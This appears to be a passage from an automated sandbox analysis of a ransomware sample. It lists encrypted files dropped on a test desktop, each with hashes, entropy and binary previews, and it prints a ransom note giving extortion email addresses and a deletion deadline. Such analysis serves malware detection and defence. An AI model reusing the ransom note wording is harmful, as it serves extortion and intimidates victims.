Preview:	..& 8....7.]..,,?..%.!...Y.l.......l.lD...Gkn...}..CI.l.'v.,95B..!{n}...~...'Q..S..<.1....i.X..{....<...l=.8d......s.w,6..H...J..s.b...<...mp../.7B...K...K.....$..!l..PP.(......z.BI..G..<...!.9....P\|p.@......E~.l!..7.M:;...?...q....RR.^..GA.`.1.e.-..._.S./...h.i..{...F..^.....m[EK..D4...xS.el&.....".x..X.bx....3.g..x.I;......J..I....5n...../.:Z..G..4...>.B..\.'...~k.....y....R3_...H.p..Av{.0..]p....^T.v.......8 ...v.Lv....?3.u..........R.......2....i.qK+.2....r`8.R..w....Tg.Kr...~......F.G.81=....!p.W.g......j]k...+..#.R...i..m....2a>..-....1..y.d....j,.@.S..O0n.;..$?.WB......y.....E.x5.{.{3....,....1;......z{.o?.n?6L..\|.J..?.......s..5...(.....*.Gd..<.B..$.'....5..<.&e.6H.E.a...o...>0fh$\?#.2U."~.(/.;[.PW.p.v".c....:.!.-..r[......!k=.P..S7.._.. ,Xv..6.68.,.w./..?...2..o..........c....H.K....4?..v..~)..........U.-;..,.#.=......&...e...7.......w3.\..X\|....._......n. .&..Ji;........,......\|..Y.WWRj.B...&..is.Gn.;.4....y.}....+...]c....IZ..:..;v

C:\Users\user\Desktop\GRXZDKKVDB\EIVQSAOTAQ.jpg Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.843175747348432
Encrypted:	false
SSDEEP:	24:js2b63HpMlLnx//meBUPXZRyyUNcSiibn2NXNt2m85vF3ort/nv+xalEqjc3:jsu63HpMP/md3UKizwOnvF3uPv+xLqjU
MD5:	EFF3C6E0BB6C9BB343BDE822F7C96034
SHA1:	5589EEE741C9EE40DC2EEF2531C90488F3303E4E
SHA-256:	3081BB34FF49B54DFD7C8DD05ECC8019A151481C51BBFE8DEF027D349979FE3B
SHA-512:	0AA03E837C33CEBB14A5C568F095F7511D4F727303A2E389C3C17B4E5B778A0D6BFE8D480C9D7D1DB1D6FED8183FDA3C5B7D9494A3DC77F8C30A059EDBE4486E
Malicious:	false
Preview:	.]......u...c.(...[.....,.q.I...o...7Q....T0.f..F.u.Z..F8{._..0..r...;..(.r../...O8..Gah..e..9.oD\G3.\|v..a...L.-.gr..M.P.-..........@'.d$3.i.~..&...J..b.Z..l.{.4...o.tzB.m..H..........a./bc..M.v...I.P}.\|..:..io?...\|.7....@..P...`...H..w..`.`.50.m.Tg..KUCV5X......A.....2`R#r.4.L.&.......{...>.s...k......G.....J.6w.)Y.\....y..K.P..H.y....A.gZF...MKjb..;..)@`..]...!.W.....K.R...=2.zI...V.......7.n3dyy.....:'L.^..-.0..6ffIK...1..m}.....zf...J...Cz=.n.q.L...,.Ks...I.V...t....l..-LN...q...l..#..S.A,).X!.....m,..i.cPWQ..&Yv.h1<.&N.......,...Xdxnk$....r.....:b6..w.x..].3..],;....\..z........=M.4.,..e.r...L.iX.:.6..{.*V....d..Z[(...i..3..^.h:..y....@.).2...a)t.X.../Y........]Q..ha...&P..T.k.S~.p..l.C....@.G.lU.$.l..5..xu...L10c 8...[z.......f..kyJ....1..2%.X...e..Vx(..+[<.....J3Sq.2.z.\...=...\.......b...H..p.....g...%....h.....g.g...A....\|2x..o....'..Hk..0.Q.......9@R.@...3...5.F.6...K... .......?.v... .5_........-..PI.L4Q..x....r.Q....\|..

C:\Users\user\Desktop\GRXZDKKVDB\EOWRVPQCCS.pdf Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.8702904749733955
Encrypted:	false
SSDEEP:	24:uX7LD+UljPBoDSmQ67DdFx85ADiXMKn6/0QHQWuaGKFy0X:uX/DtlrF+q5ui8K6/0QwWBF
MD5:	6D0E278047C1BAA129BDFBADE3731934
SHA1:	964B55B5A4EA8AF78B1E8A6FB733742C6312E278
SHA-256:	AED188F599C46BDA59013DFDA9E0D0931753E7E03C9BA42EA9C000FA65AD0360
SHA-512:	BE45E894F83C56D9BC6D1E18625C466B1F322200BDBAB598886C517F5C912853A0A6D5946D311FC7C58FFE4936E1139477FB92ADF8894515FF88158B2A626046
Malicious:	false
Preview:	x,s.:.}....{.y.V,.W..^...0_+xg...v..dWS..$S3....E.;..#..v...9hv...7(Jh.#..}.(......~."5.....m.+;.2.t....<J..D..y.8....k......U.p..].7.p....A..V>.....H...]o4......%...[..Y...#..H.k.D"(..@5...z.C.E',...'.\M.b....Hyt...H.....;Vp&?.sFcW....Dq6-.Z...?&...$hjX.....H.V...P_A.:.u...2....j.2.o.......g.r.3?f.G..c......^6...~-....N....$z......\|..g.k..!......'.....i.X...h ...8...}.B..I'....x..Z....Eb.m..e..1.Ix....4[<D....e".g..;w..C.........C.3...T...&..an..L.'..b.c..6.....blj.I7...%...V...%.:..".{.'NmJ...C,.O..I.s`...-3...+j...<...=.`[VI......K.s?....?.....#..U....{,..6..L.F.R...8f....".5EM/H..U.n...Q...i..}.h7#......].R....x.L.0^...j....k.#.<...E&cN.......TE..n?o......L.......`..."..K....na..eP.Y...{.A..q....\....v.......B...0IPU../.uYj......eq.f....>......!..F+.m.[.T.s.X..........~T..u...If.%......9.-../..?.o.=...e}l...n.......}...S.K..0....t.{#..a...g?0.,.F.....".?.U..V.S8.hOL.+..Z..B..4.mP......p+......m...\..l...~...9.K.!^.t$..."c....

C:\Users\user\Desktop\GRXZDKKVDB\GIGIYTFFYT.png Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.844226400333297
Encrypted:	false
SSDEEP:	24:RMvd4MMpwosPs64SzYJekrOf0F1De2J+Jr1MgelNTuKU:RMv3iwoos64U0rxDeiqrezTO
MD5:	CFFAB3A1B9E836E2156F09AE8D55A836
SHA1:	BE147B4CA7E0386268D224BB0DA74DE329215147
SHA-256:	8EA9B28E9FA43A0486B501B0BF1AD2DC6C52475F44C191214368617AEC728E88
SHA-512:	CE55C197DB34BBB8962C2D1CF748382999C91F6F3ABCFD5A8F03D2A485BA02DBB565EFBE04216F498CA193FD157741CC76ED0259349C14ECC3284497FC434372
Malicious:	false
Preview:	.\|I.h.%".0L.a.....%{.....Bf..j.J...rO8......^U).8#..<...j....\|)!.a)O.P^?.@P.....u.J.6.u/..2.....~.1{.{..&.$.R..<..?a.....v....6<8KSz/.....s...g.}A...f.M....D ..:.."..,y..o.}.b<.."^....pZ..8...6.t...gM;_......otL).PL..!.M...\|NT.L%p.=f+.}..]....#.{.7...........E..6{...4....IC.6Z4..O8<..#...............Vl.....0...V}......;..".c.q....H...]..3.......w...'.. .NY...i....V.E'Ft?.,:^...$..VZ`....m..B.....+~H`.v....\p..\...3.4.,..j.S1v...9Q..!...#..O.hw..$.....z....({_.E...z].t\......9.nk.\|Qq..,v..{."..............X..=..Yj@.SH....y..R.<cn.........6..+,.....S..fi....0F?..e.K..v.y.j.....`....O.w.q.S.y.V[q\|.N.~........B.2e..$.`..B...&ZA...~C?(....f....k.\|.\|.V.. \O....y..w...v(P8....^....q.tz/.yz......d%!........v..}.'.....P4"....]g..eK.S..f.%B..V.........6%...%Mw..vA.w4........S.e&K.....,..e4...GC..S..t..vD...c..-}.`...".s...o..5..B.xI............+3b_...@.7....[......R..)3.=.1<...p...~...!4....l..C-&G...7.\UQA....... ...=........cz..mt....

C:\Users\user\Desktop\GRXZDKKVDB\GRXZDKKVDB.docx Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.853801796117232
Encrypted:	false
SSDEEP:	24:LM6myKfy+1Uozru6bBJxretX+i5K6v83GZ+cOY4Cw6QaKuJxrrYvn:46my/ToTBJ9mugH82Z+/Y45Xjuv6n
MD5:	B65A3FDF123176AA55EA4D2A95262A1B
SHA1:	133C65FA52770F3E7A4D8CD7034D10BAFE700375
SHA-256:	630B5C070EB205480528F5D7C9E9966EAE4436AD054CF4E5E8977C4603C6C92B
SHA-512:	8DFE1891E9EA09DAC66F88652E8AEEB6029E0E7A51E5D245D183DA29B80C06D6BC6D747EC713688C77606E278CB8DDB074D1683102AD823F7AABE9049B6FBFFA
Malicious:	false
Preview:	^......xWme...t..6^...'...j}..R.}a2...#..G..L..L.U^>.n..j..$m...mv#...?..D.'C...M....7zr.P.\.N}rG...m.})`\|i.].B...Z>S....@j.Z..L8.)....y$....x3!..K...0..K....Q.....x..&...........".... .V=k`....'.[...j.i.........R......V>..&..h...Z..I..#..n^]..7.o.xW.A..E%..geU..<.wjWvJ..f..-.&.5b.c....j..8...J.w..:....3.68.f..#..\|J.r.\|{... [#<.!.v...}V.r+\|.#...O...7...<5.\.~jkjM.....T..$U..W._kD:....2..eG.Y......0.N5J.%.Z.w.f...XP.....).K..Y$c8z.2._...._]...BR.n..T)..d.......".<....^/O.p.(R.3Y..}@f.d........#.187t../..+.U8...{&.g......... ..\|![...PV2..;,#1.09.@..L.....WXzIB.0..A.B@..w.X).l.o...o....0v..B..1LC...@3.d....c....I......N."..D...q]...ZC....`.Xr.F[..V<f...Z8.Z\|...Wn....V>...f<b{.._...).;........y.^......f.?......=.C..O.;.(A..Dr.L......Y;y...*M...&.....-.f..<........L.?.2.2.:W[...$.Yp...+4=..g...(.....2..m..0.Y......3..[K..8..k.'..4.TK..;.~..+\%...%....JO.n....S......;_..E<q\|.RS....D.{.3.i..[\|..xq&.1s...b..Q4gl[.}.....=.....-D..u.[

C:\Users\user\Desktop\GRXZDKKVDB\PALRGUCVEH.xlsx Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.863477213361828
Encrypted:	false
SSDEEP:	24:I9W+b7YqO3vhwjA0J8dlQSGY5ctlMDG371AvrSbxglXTKWTNJ7+gUx:ILXfWvhF04R+MDG36zPlXYg+
MD5:	1B9DF78460266B96114C0176F01B0385
SHA1:	E4F7F3990E4D02E4D3DB2CBC53DEC439C10C10AF
SHA-256:	F41796AFE4A0D708152976EC51821DF22A0F699E4411BC093311798B066CFB68
SHA-512:	2A772708D72A70BAA10DAF71BD3162FBBD972BBAA70573B439EF81E96E7F534C806404A377ABD150EDB53EEB4988AB364FCF9A47F9C1FB9B4E7C41F413B60A60
Malicious:	false
Preview:	(<V4. ....I.1....q..M[.^D..v.6 9..h..3.....[..`v........}e.......cL<ha..!.B...ya..=..n.s.....5.6..'NU....p..../..-.B..R.>.i..7pu8f..K..o...r..3....Q3....!.K.r...4b.....$..J..uL7.9.8..pwA.p}."u..3.1.0.w...w.[.........4.}..$../....X..rT.V<kX......d./R....~.>..DR]4w......Q4\...^..O.Mx....^.=X.\.......+....')....#%...tn>75...k..xH-(... 8.~...d.b'(..\|..B..wS .w8.Wu.\|...a{...9W_Yhl@P.!Rh.k{.l....n.V....k.F[B.`k.(.....v.J....;..Y.f.w.G&.'.r.y...(...F./)Y.9.;?y.(M5.....:..8y8.`....P...H.......p H.Y..D.C..1....<.7.......Z.c...7...;$..E.0.6\...^N.._.._k...W.......8g..$\4+..........V..S.D..p].>..\......D..Gy....1p.m.hEj..O.[.(a.n..5...##Z.db~.J.u..]....."#..$....UxC...3y .. ..c.bY..!.Ks.w..Z..p..pk.7/0...V:OI..3..q..?.hu....WW.X.z.....A.......6.<.X..-...w....Nv>.........MI...%6...8#t.)...N..x.O.....S}p..........^2.g}.....~~iR.Qs9.g0G.M.V....G..%H...!...U.2....g-W.qb...]...D..H<.T...:.q...u......&....i*.&I.R(....$o...O...z."..')&..

C:\Users\user\Desktop\GRXZDKKVDB\Restore-My-Files.txt Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.000222043072003
Encrypted:	false
SSDEEP:	6:n7CSfmXy7MZATkL3NL+2DFGIwBfriOukL3NUFo5xCoQYMEb9n6bZEIseIOSTFqp3:xeXGMZATH2ZLqrxu/FWlQs9UZEIseIBC
MD5:	ABF79FB7AA0DC348988B94381293599D
SHA1:	042DC3C6489BDBDE430520A9D732F2E37CDD236F
SHA-256:	8A75D8A4E4012A028062AB49765F6400F9F729BEB92008A7E8B37489CFC180F8
SHA-512:	E9B75D1A4F9B93EDC368114CA13D2AE9836479941CDF921EB08769F7E2A3E7AE6F770A048A0DFE4F2BC7FD0AE37D4CFD9ACBD61EF0C59B72B0FFC4E3B494CD5D
Malicious:	false
Preview:	!!!All of your files are encrypted!!!..To decrypt them send e-mail to this address: Unlockpls.dr01@protonmail.com..In case of no answer in 24h, send e-mail to this address: Unlockpls.dr01@yahoo.com..All your files will be lost on Monday, January 10, 2022 9:36:01 AM...Your SYSTEM ID : 57802C8E..!!!Deleting "Cpriv.Loki" causes permanent data loss.

C:\Users\user\Desktop\GRXZDKKVDB\TQDFJHPUIU.mp3 Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.862416633499641
Encrypted:	false
SSDEEP:	24:+C9PwCaJb6I0Pa/fXyOZLKjzk1TRByuW0l014amIIwT/hxdcIZy:N9PfCb6zi/fmjI4uc4amwkIZy
MD5:	DC8569F8FC09FD923482402CF338D330
SHA1:	AE716754D8D428144F3047CF4203D93D7F083ED0
SHA-256:	659C9D7844FA5EEC8F0B79D37B83EA98DBE0DF455800CFFA2C8F42F428750E33
SHA-512:	84A153F5E6623BA01BDA0A97C9D1A04A70897043F4151ACDC170062911726628333E34D104B47F8E7854CE1176722CF61E85E96DCE286C910C4F8912972DE333
Malicious:	false
Preview:	_.v..$.!...K.b...o.../..D.V.U..m.<.}..mp....5s....M.....q...H..+.)=.na!.c.\|.,[A..}....u.jlg-...f...U....D^/k.TE(..u\|...pED3...du.J.&S..w.4. .1dM....28L..O.j..........1.E.....#...g.NW.f..g........d...ab.i.....$..Tu...J.r....Z.C<.1.U..+.77!...,...M..}I0.a...5'Y.lA....M{i..wO3jl. oU.:0]y].t..z.]....sZ.b...i.t\|.\...L...[.J.'3F.3..<.x...=.Y....m..T..#v.............\|uh..$R.u...)+...m.n.D...Y.T.?....Qo.4......3.E..k...^r...+.E...b.:.:Y..#v. ...{..;..5..t....Y...}p.}..RBx.A={I:Q..g..M.!s.L:i..,>..@..b..?.M....y.....,84..SxWyF....d...c.h.u.\.Ot '7^...4....D.l{.....h.(....7.9F.B.$.9....L....b.S%..+.VD{s..a.........V...9.j....E..........:....D.K!...z.,..... .%.tv`z2#y....>..v...e..j.B.m....<7W.K....-....q@R.e.a.(uzR.*...\|)P;=Rl.......X...p...r.X......<o$x....a...c...#....=....d..5.]..l.2.'....+....3.5..8J.X..B...._.P..F_q.........+..]3.-E$..i...k.~..I.G..:...M..X......o.V. ..>5...\|.czI1.KMm..{H.$.-.v.T...7G.d.gA..I.....yN.nM..Jw.T.}uG3.CO.

C:\Users\user\Desktop\Microsoft Edge.lnk Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1673
Entropy (8bit):	7.875889359802777
Encrypted:	false
SSDEEP:	48:7Gg8xpcYwzZfrasgCjp9r3X8DsVySy9uwPHj:7Gg8xpcYCragjp9LXboSyH
MD5:	B6A3729715DDCEABE031AA20F369BB72
SHA1:	11A8D88BD2CBC16E940B44551C595B8B2C2464A3
SHA-256:	874E8A8A2F5EBEEDD07190F0EFE36BB82A9ED47A9125B28D2192E1DA6BD17CF9
SHA-512:	7D61413E99F704D83143B7B5C1F6CC2B4E25A27C237ADF80D28698BC4EBD3CD1042D534709D4674897300AF272B31B51F3ED236B9AEC532E761C8DAE1975BC91
Malicious:	false
Preview:	.=\.....B..Z.0(B.F.,IZ..0......6.......'8I&.YV......D.!8.6....~.Q,g....4.hp..._`..;......%.kw$c@.'.5.].x....+...:.yJk....%`.3Q..Kn.J.....h...m.g.j...u......Kd....%....a[.a}......H........(..'vn.sxXv5S./...e.E..ymD..x q....u+....b~.W_............"pT....y..R.[.TJK.Y.....<...e.+p..=..].y...`.?....m....P<.n.......7..LC...1.h-....]J..me..FF..m:.%.. .......:...(...K..<S0.4]&..)RZ.;_.E.d....eg..qlm.gk....#..J..^yg/g@.....}f..u71aN."...=.H..x.>.....`..5....]#U....a....M.3g...l.;BF..q&...M..'...\|..6..mj(.]..t4.M..Sod..#..e./.n.X ..K+9F..o..$b...b....+%.zm.Y..qG[..U....KuD...........s'.e...y..S..r.{a./Y..+../........G).=......0.s.rY...huo...........~.n.....~.<...`...7.=H...%.GP.....;D2.f....Iu.\3r.O.@a...U<E.[......l..XV.K0.a..,..(.8.^z^0.}~.M.\|#..z..O.S..!._O..8.....z...k..i.9..>y...I.tw.i..=.S...O....D.I...U[.i.G.&...v<ko....f"...l.[..!.-.m&.;..Z<;E&A!..~B..,.P^#.....MM.z:o.<..K.S.p..,...I..f........9...<......{fg.....r.....I...+..G}#..

C:\Users\user\Desktop\NVWZAPQSQL.docx Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.855752046055339
Encrypted:	false
SSDEEP:	24:koqnGruKZEKdJT4/v444VdXzFVZ4+rEt1vey8L6kzHt+zK5RwDb7bHa+2FR:k3GKKkvaVVzJ4kGvWNEzUCDb7j2r
MD5:	5C66E1F72303C52C47D389C2D0922DBA
SHA1:	4F3D3CEC14CB34CCC806FFE68EEE3FD1C88F90DF
SHA-256:	1605B7045E5E039294A6A3BE6062BDE6DCB88AEB9003103934B2CA2690989373
SHA-512:	27F49ED1C2A45B693B8D99E19413C5E5AE1CB591FF74C70A816E1B84D06C81F1470A92052F342F0F5E87D764C8BD500E32D46F462E81988DA369A8273BA10F19
Malicious:	false
Preview:	.8>r.p...4.I..]s......aw....x.Y..........^..."g]...8.....e.^..\|..,...m...../5..\|.S.k{NY..Fj..........6........r..W..M{$..a#.b.w.(p...l-<....H.>......!o..&V..X.gi...s.b/..0..=....A._..-.[...A.K...Rsmo.-.a.s..Sy!.G.K.k<..r...s....6T<YV(.f..7...z..?.$...i.t.?7.z.....Adux........m.g..Y....F2.....;=.y..j......[...~...,.s...].0{..tv...g;.!....b.\|..a(B..Rl;... ...I.....U.....ekr.t.N+<.......9.....w..<.\.P.Jr..-'Pos.OE..J...e;..~._.p....v..3..=.i.z.-.CYOk..VG.h.....`.uq"=R.. T>A..'.M]y.`..[x.....w..].7.)r3E....\..#4y..d.7.h....[+....v.4..:[...._...}P\..gp.\++.G@.............G_.....].?#........0/.....]...qo.....G...`.(/.+u............].7G../F...0.m...E.0%>....Z.s:.6}..e.e$.s.L.Y..<.A...V(..I...'.$.c...gz....t.P.n..BJ;\j.x..`..Ox.........o.`.4q...S.pt.U`..C....r..E....2.`......AK>..f.....G..1.'...`...... ...-...W9z.. /.b..i...H.#J.<.O..-..^..K.m..COWy...s.=.&.v...W"5....k'`YV...{....~.>.WF.b.:..rw..`+..A.}...T.'..,&1*s...zQ...0.B..$J=..".

C:\Users\user\Desktop\NYMMPCEIMA.png Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.857895661921321
Encrypted:	false
SSDEEP:	24:Dyi+8JuN7pL3e+QK6NfZl64WG4zoy8oqq7SzKd/A/7fSqxqHUpQmqDybpQ29kGrs:Dyq2edKgG4r4cyWbKd/AzvxgUamqDyb0
MD5:	D3990D47845A4BBFFD3398844FE98EF4
SHA1:	F80650F0B0BA0204CCF72AA95028F42F08EFB23E
SHA-256:	4E8A09A6969C9C62BEF0E6D405C5C67800121A0167175CA2343B17D4EFAC643E
SHA-512:	8A84CF4119B5FB35E82C531DC735072FD9C9AA757EDD847FA159549101D4771C5429014C5F03848B20B4C3D368E1B4F22222A491DA6689B0F4C7BFE406CD1E0B
Malicious:	false
Preview:	.j;.{...').~.h6..C#_/).ZwX.&`B..R..\|PRW!SZ...\C.M....c.x...K....6.....%C....N...2..O.^&O.......L.g.:..RI.R..[B\.\y./ul=.f,>..K..\|}[.Ah....."...Ky.U....hnoc....w'.7....o.i.h[.....$..Yq.0.YS...4.n.Q.I.`q}@T.......f......wP.q.....=b.'E...rNe..U~B..H...>R.H.......O$T.FS...@G.lyr{>>...#x....s...A@....uL.>.z.......e...].......E..-....../...vn~.Y`.[..'..C.L....or..x...x.........~.....E.4..#M.%...E..._H.x....kdI2....u..[0.3.@..`.....0.S.x.8...l..ur3.$l.../+.hS.W.$.@...1V+.k.1....@.?G.......6..Q..,?....R...J.8v.H...U.4.Mft.....+........:.....a...m]2Sa..#..CPr.UH........7'g..p>..?..m....T...%.tH...D..N\|..;Es..{..4.:.......&...m%.o....rub...j.......{Gz......V....Z.P.H.g`6m..@b....s...0!.E...9I..0.6..l...j.P.....$.0...E./.D#...t2..../R....u.......q...D7........c.....t3*...I".. 76..d..:.`..(jL..y..F..(...v.Q.....'..c...... ...=...`U..".+.b..4.\|.j....Q..p[..SK;$..X./[z..J.2..[..g....R.K.P,BHf.....n..dd..h.l......'.......Y&.o..QsP[b...

C:\Users\user\Desktop\PALRGUCVEH.docx Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.866800008349422
Encrypted:	false
SSDEEP:	24:MEX39zFRGk+WxTISKdeaiXEMssArIjMbuE3sHkv5YdqQU8afqASAgjh3PlWoo:MUMENDmeaiXEl7II9YjuvlQBPlWoo
MD5:	EA58173C1E44BD42A1EB60B729010FB9
SHA1:	8F674C912C206CB48BECB47571F1363768FF5DEB
SHA-256:	ED1A3D3F0F1E8882530587F60C6CC313A2BBB9F919E53FDA87DDA71F87D65C38
SHA-512:	172174E087F4BFA918FFC1514F2A77CFE47A537E2C3FE5F0B2A2A96BEBFC70EA5F871EE5F9857B0F8757B82313391989EB443180614226C5C1FD88105725F588
Malicious:	false
Preview:	<8dS...2..S.....,..#.....N.t.~.....+...V9p.:3......DNR~..."Y...'.#..A.J......H?.v(................n............4;..iE^...X.B....!t(:..Z.".]t)b....;..a..W'.}.......L...<.......8..RU5..s.T.^vd..v....w..\|.n.tP.S\...B.N....p..j.SD`.7.....\|Xp...lT.t.. JHi..b..Z-..e7g.].....'.eH..FR#%.0].#9.}`.U-t.[O...*....`Q.P.3~.';I.p~J..h... E.$...K.~...."..,......L".Ew.D...........=........m.....]...CHHu...4B..s..~&>F&..).J.j<.b\|2-..\|u..d..)^.....w.<Y....^.F..:.e........D4..../.6.D..v.....O1`.j..,.W....8x...........p. ..u.].7.L..V.f.H.....\|...?K.R.)......1U"..8.D...B3.n....T..G...JCd.KY.Y..hA..B.18._.P........e{....FB`..T.\...-.Csl-}NC.m<&..Mr.@.m...e.-.S.$(9>.;y...=]....L-?..Z...7."..F..W.d:.&...P3.F..t^.X/...z.`.._....c\|.m<.Z...q....Z..\|[:.{..B..FQ.X..p....>2%H.J~...S.vw...a...)..o.._3...B9K.CLh.r.H.p .B.:../....C..g....v....5..d....W}..Z.X;....!.;#.o.[C...@..@..Y...._9P.GUy.B........k...fu.^%39}I%.o9.9.....J.ja(...P....D...,.."?.J..J.8

C:\Users\user\Desktop\PALRGUCVEH.xlsx Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.864134246343126
Encrypted:	false
SSDEEP:	24:GFj8QUIGlLbeSF0g2xkYgYAddI+aTRb+IQdT/eD09jZpvzWftIIY7ntwme6rdec:EoQUIyPeSF0gUx+aTYVvClpYBwme6rdT
MD5:	C010D695B217BFDDAE589486F4F20EC5
SHA1:	C2583C4BD30DFEC873BCE3048D96CBBCB76169A7
SHA-256:	013C0A57A9BB81AFC96E7D2C1C6BC390AA0F13F4DFCD5600442C90B7B38C2B03
SHA-512:	F15CE434BCDF4682F79DE76B664EE2BD2C3DD74E021DAA053E39D720907718E6D92BB3EEB235AB23EA644FC5D2E7BFBBD90F2A9B08619985F50DA0E7233E37E6
Malicious:	false
Preview:	..W...f....\..r..T...e._P$.h..[r.m.l.x.....e{..}.. ....G...ZZ.r:.V.$^L..z\..Jo.h..X...].".6..l......l.$......qF....F-.~..........P../..m.p'..D.K......n......d..@.K..q...6b.<.3c.....[...t..uT.;8.."[..Q......H.c.........+..K..a..IC..Q....v.....k.C.z....G...$..gky.....5.T/..5Z...>..>.Y/.T........RWMR.Qrt/....e.).I...M?...3..x..h.T.....B+u.a...W....5CQ.D3.k..]Oc..4...p....].4.........-.l110...u(eDx.X%.....)....N{......>.[ ..Hv.<..Ns..++..S...)......h.U....xk.v.z.c.k%\|..A...0\|..!...b-f.V&B^.V..^:2...-....0f....D....V...ON5...K..7g.f.y.....b<.'K...=..Rw..z.V[).`._.{....v.P........5/b.1./)C...!.........-.3..`A..d.F......0.n..[.I...6.2A<.(b.c.\|......T.?.a....P.....3S.{.d.L.{.m......FA.z.... .,..m....&....".Um..B.....&8y2.0$}i;.l...~...hKP.....~...g.....0T.m.\.IP3..........7..."..=):..f.J.].8)Dm.!\.<...wwk.S.:&r\|!.j.).....\|......7nt..1.W.q:.H.............Wt......S.....F.-,.=\|...O...f.s6..9....;.%..7..\.>......o...q..-'J*...o\...0A

C:\Users\user\Desktop\PALRGUCVEH\AQRFEVRTGL.mp3 Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.866618211429988
Encrypted:	false
SSDEEP:	24:ZetIK98BP4nJHoNLBVI8vEneJbZZad2yo01f2vEdN7KZGAaIHjzpWEhx0Hgh:ZwD8NhHVITnSRN0tFIGh0fpZ7Bh
MD5:	4D108A95921E2276F6CA8CBAEC76364C
SHA1:	61DC655BFF18F9FB074D2AA6083E1067B024D610
SHA-256:	C27E2341D7D837469CE8A91E5FB05B0462404E4A3837C3980FD61F2D38DCA450
SHA-512:	C14153A89D86EF8D7E781D5A451063FA7E6D86443CC333F3321C17971A884259D45A32B63BD6DC8DCC3019FD1D927F36782BB7C72A875BB61EDB1988E143D55E
Malicious:	false
Preview:	Y9..(.?*..%e.oJ{..M'`.@..&.).i....@..H..Td...?..C...Y..[....&\|.h......t........},.....a....~'.?..S...Y...^....H..&.......w...C...h.b_f.....1..v.....f<.......)"%........C.O..!_.K...^.Z..+.9\|....F....H.nAW}...k.n.+..;M. .f..r...~L.7..W2/.?..bl..G.......4.J.0...\ ...I9;...zs....h.$....}.'....\L..A.C.#.+>MRG.).....x/df.A.3.e.&A6iW........q.m.3L.!..~...{L.......Q+oGr^\|....S..Q..9:.v...u..U}+g...$..U'.g.p..XSL.......'..7..l)$..1..Jf....k.......A....A0..$..O.....e.....i.XD.M[.h`..t.=..s!.G..7.D.....zF.....7...g.,..'O.X\Y=.C.3.uQA.F...... 8...R/..c.gW/........v1....'.7S?4.2.0.._....@mWX.tT..Vp..hRF.b.Id.c....!.....5..".Kh.b..z...O.M..z.X../`.....Cp.r_.2.....b..5.....;g.....1..UK\|.PI.tw.8t..wK#n.:`Y.m..W..ef.Z..m....8.../9.Nb.By.:.....D...>...3.9oe....}..."!.U%'[\..Iu.._........,C.:B<7..R." ......$..F]e.i~..q.....N.....<..Y8..@.By.J{6.....$.xc..,%.......`...?...............<...r....m....4..A9.C...X-j.-._.B.q.......h..w}tG.b....c^.....Q.?"Ze......b?.oT.

C:\Users\user\Desktop\PALRGUCVEH\EIVQSAOTAQ.xlsx Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1282
Entropy (8bit):	7.848993952919293
Encrypted:	false
SSDEEP:	24:tDVsumOuRjgr+kBW1muk7jEneIffdB08iYeSQXjC4ymufJPd0cgyiHl/Nor/F:tBsumpRfDk3EeItB08mSOxwNdsRH9NKd
MD5:	757C416B545C0BAF3FD5A119617042AB
SHA1:	2463CE5CA6476D8F5EDF612D42C3C47159F0E42E
SHA-256:	1200B4F67C23E4E33AE3BEDDF3B1AEE95437F2D78E3E6152C2A47DAFECDB916D
SHA-512:	3A0711DC80504ECF5B23D95845A8C37B04A5A79B68CA263860EE8EBA94C433B6AF694022A9FB6BDFD65FC92C108AB92A5C477BDAC595BFE714BEA3D46F35BA01
Malicious:	false
Preview:	yBxbn.......7.<b.:...0.G............P[.z....r...A`...`.p.1m1^.d(.s...8...D......^H.\a...s.....6[...O3...+.....V.. ...;[.e.[.o....W..d..-..[.......sU:.,.<.....<x.F.W....S0..^.B...h...M?,@-\..2.._..O.H&?...Q..:.....^..3q.fkp.V....>A.Q%.`.O. ..m.T6.O..6(........@.f,`.r..d'{'r.(...E..7...~e..-...-,c4w 